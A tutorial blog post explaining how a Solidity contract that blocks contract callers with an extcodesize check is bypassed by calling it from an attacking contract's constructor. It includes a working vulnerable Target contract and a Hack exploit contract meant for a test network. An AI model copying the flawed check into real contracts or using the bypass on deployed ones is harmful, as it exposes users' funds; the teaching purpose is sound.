Bypass Solidity contract size check to pwn a smart contract. For additional security some owners don’t want other contracts interacting with their contract. To prevent this interaction owners add an account code size check to prevent functions from being run. This code size check determines if the address interacting with the contract contain code and if it does the function is not executed. Unfortunately this code size check can be pwned by a developer.
Solidity code size check vulnerability
You can determine if an address is a Solidity smart contract by checking the size of the code stored at the address. Assembly extcodesize is used in Solidity functions to determine the size of the code at a particular address. If the code size at the address is greater than 0 then the address is a smart contract.
To pwn a contract that contains Assembly extcodesize simple put a function in the attacking contract’s constructor. During contract creation when the constructor is executed there is no code yet so the code size will be 0. The constructor will run the function and bypass the target contract’s extcodesize check.
Description of contract size Solidity hack
To see this check fail in action perform the following steps:
- First deploy the target and failed contracts below.
- Then deploy the attack contract with the target contract address in the constructor.
- Target Contract – This contract contains a function called protected() that contains a function modifier. The function modifier does not allow contracts to interact with it because it calls a function that contains extcodesize to check if the address is a contract. If an address is input into this function and the code size is greater then 0 the log will print “no contract allowed”. We are going to bypass this check.
- Failed attack – This contract contains a function called pwn. When you execute the function with the target address you will see that it fails in the transaction log. The target address will detect that this contact contains code which caused the call to fail.
- Attack – The Hack contract will call the target contract in the constructor. When the contract is created the target address will detect 0 code and the transaction will be successful. It puts the results in the bool isContract in the attack contract. You can also call the pwnd function in the target contract to see that the contract was pwned.
Perform the Solidity hack
Read the comments in the code for additional information
pragma solidity ^0.7.6;
// deploy all three contracts below
// 1 target contract
// 2 failed attack contract
// 3 attacking contract
// the isContract function uses extcodesize which checks code size
// if the code size is greater then 0 then it is assumed a smart contract
// this check can be bypassed because when a contract is created the code size is 0
// to bypass this check simply add a function to the attacking contracts constructor
contract Target {
function isContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
// function contains a function modifier to protect it from other contracts
// no contracts can call this function
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true; }
}
// attempting to call Target.protected will fail,
// target block calls from contract
contract FailedAttack {
function pwn(address _target) external {
// this will fail
Target(_target).protected();
}
}
// when contract is being created, code size (extcodesize) is 0.
// this will bypass the isContract() check
// call Target.protected will work
contract Hack {
bool public isContract;
address public addr;
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// this will work
Target(_target).protected(); }
}
Try it in Remix
This code is for learning and entertainment purposes only. The code has not been audited and use at your own risk. Remember smart contracts are experimental and could contain bugs.
Click here for more information about how to use the Ethereum test network and how to obtain test ETH.
1 thought on “Bypass Solidity contract size check”